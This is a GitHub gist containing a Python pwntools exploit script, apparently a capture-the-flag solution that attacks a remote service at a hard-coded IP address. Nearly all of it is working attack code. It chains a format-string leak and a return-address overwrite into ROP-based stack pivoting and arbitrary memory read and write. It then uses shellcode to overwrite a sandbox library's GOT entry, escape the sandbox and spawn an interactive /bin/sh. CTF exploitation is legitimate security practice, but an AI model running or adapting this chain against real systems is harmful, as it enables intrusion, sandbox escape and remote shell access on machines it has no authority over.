Skip to content

Instantly share code, notes, and snippets.

@seanwupi
Created March 29, 2015 23:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save seanwupi/713023672c42aa62ca9e to your computer and use it in GitHub Desktop.
Save seanwupi/713023672c42aa62ca9e to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
from pwn import * # pip install pwntools
context(arch='amd64')
r = remote('202.112.26.107', 10910)
# follow 'login.py' first
r.recvuntil('Login: ')
r.send('guest\n')
r.recvuntil('Password: ')
r.send('guest123\n')
r.recvuntil('Your choice: ')
r.send('2\n')
r.recvuntil('Enter your new username:\n')
r.send('A'*256 + '\n')
r.recvuntil('Your choice: ')
r.send('4\n')
r.recvuntil('Login: ')
r.send('%lx %48$lx '+ '\n')
r.recvuntil('Password: ')
r.send('\n')
tt = r.recvuntil('login failed.').split()
code_base = int(tt[0], 16) - 0x1490
print 'code_base =', hex(code_base)
buf = int(tt[1], 16) - 528
retaddr = buf - 24
print 'stack_buf =', hex(buf)
pop5_ret = 0x135B + code_base
pop_rbp_ret = 0xFB1 + code_base
pop_rdi_ret = 0x1363 + code_base
pop_rsi_r15_ret = 0x1361 + code_base
leave_ret = 0x1242 + code_base
read = 0xAD0 + code_base
write = 0xB80 + code_base
exit = 0x201F48 + code_base
buf1 = 0x202800 + code_base
buf2 = 0x202C00 + code_base
# not only call show_flag()
# but migrate stack for ROP chain ( buf1 <-> buf2 )
# 0x135A & 0x1340 are gadgets for controling rdi, rsi, rdx
fs = ('%%%dc%%10$hn' % (pop5_ret&0xffff)).ljust(16) + p64(retaddr) + (
p64(code_base + 0x135A) + p64(0) + p64(0) + p64(buf + 8*11) + p64(0x10000) + p64(buf1) + p64(0) +
p64(code_base + 0x1340) + p64(code_base + 0x1360) + p64(read) +
p64(pop_rbp_ret) + p64(buf1-8) + p64(leave_ret)
)
r.recvuntil('Login: ')
r.send(fs + '\n')
r.recvuntil('Password: ')
r.send('\n')
r.recvrepeat(1)
# read mem
def rread(addr, ln):
global buf1, buf2
buf1, buf2 = buf2, buf1
r.send(
p64(code_base + 0x135A) + p64(0) + p64(0) + p64(buf2 + 8*8) + p64(ln) + p64(addr) + p64(1) +
p64(code_base + 0x1340) + p64(code_base + 0x1360) + p64(write) +
p64(code_base + 0x135A) + p64(0) + p64(0) + p64(buf2 + 8*8) + p64(0x10000) + p64(buf1) + p64(0) +
p64(code_base + 0x1340) + p64(code_base + 0x1360) + p64(read) +
p64(pop_rbp_ret) + p64(buf1-8) + p64(leave_ret)
)
return r.recvn(ln)
# read mem
def rwrite(addr, data):
global buf1, buf2
buf1, buf2 = buf2, buf1
r.send(
p64(code_base + 0x135A) + p64(0) + p64(0) + p64(buf2 + 8*8) + p64(len(data)) + p64(addr) + p64(0) +
p64(code_base + 0x1340) + p64(code_base + 0x1360) + p64(read) +
p64(code_base + 0x135A) + p64(0) + p64(0) + p64(buf2 + 8*8) + p64(0x10000) + p64(buf1) + p64(0) +
p64(code_base + 0x1340) + p64(code_base + 0x1360) + p64(read) +
p64(pop_rbp_ret) + p64(buf1-8) + p64(leave_ret)
)
sleep(1)
r.send(data)
# Interactive leak or write. For debugging and previous memory dumping
def ileak():
while True:
cmd, addr, d = raw_input().split()
if cmd=='w':
x = rread(eval(addr), eval(d))
print repr(x)
print enhex(x)
elif cmd=='r':
rwrite(eval(addr), eval(d))
else:
break
# Find an executable page
xbuf = code_base - 0x3800
# shellcode: overwrite exit@got.plt in sandbox.so (+0xa4e440)
# and then trigger it by any illegal syscall
sh = asm('''
section .text
global _start
%define sandbox rsp
%define libc rsp+8
%define code rsp+16
_start:
sub rbp, 0x1000
mov rsp, rbp
sub rsp, 0x1000
push rbx
lea rax, [rbx-0x1233000]
push rax
lea rax, [rbx-0x1ca5000]
push rax
mov rax, [sandbox]
lea rax, [rax+0xA4E440]
jmp C1
rC1:
pop rbx
mov QWORD [rax], rbx
mov rax, 59
syscall
C1:
call rC1
jmp D1
rD1:
pop rdi
lea rsi, [rdi+8]
lea rdx, [rdi+16]
mov [rsi], rdi
mov QWORD [rdx], 0
mov rax, 59
syscall
D1:
call rD1
db '/bin/sh', 0
''')
rwrite(xbuf, sh) # send shellcode to the executable buffer
r.send( # pass args to shellcode: rbx rbp r12 r13 r14 r15
p64(code_base + 0x135A) + p64(code_base) + p64(retaddr) + p64(0) + p64(0) + p64(0) + p64(0) +
p64(xbuf))
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment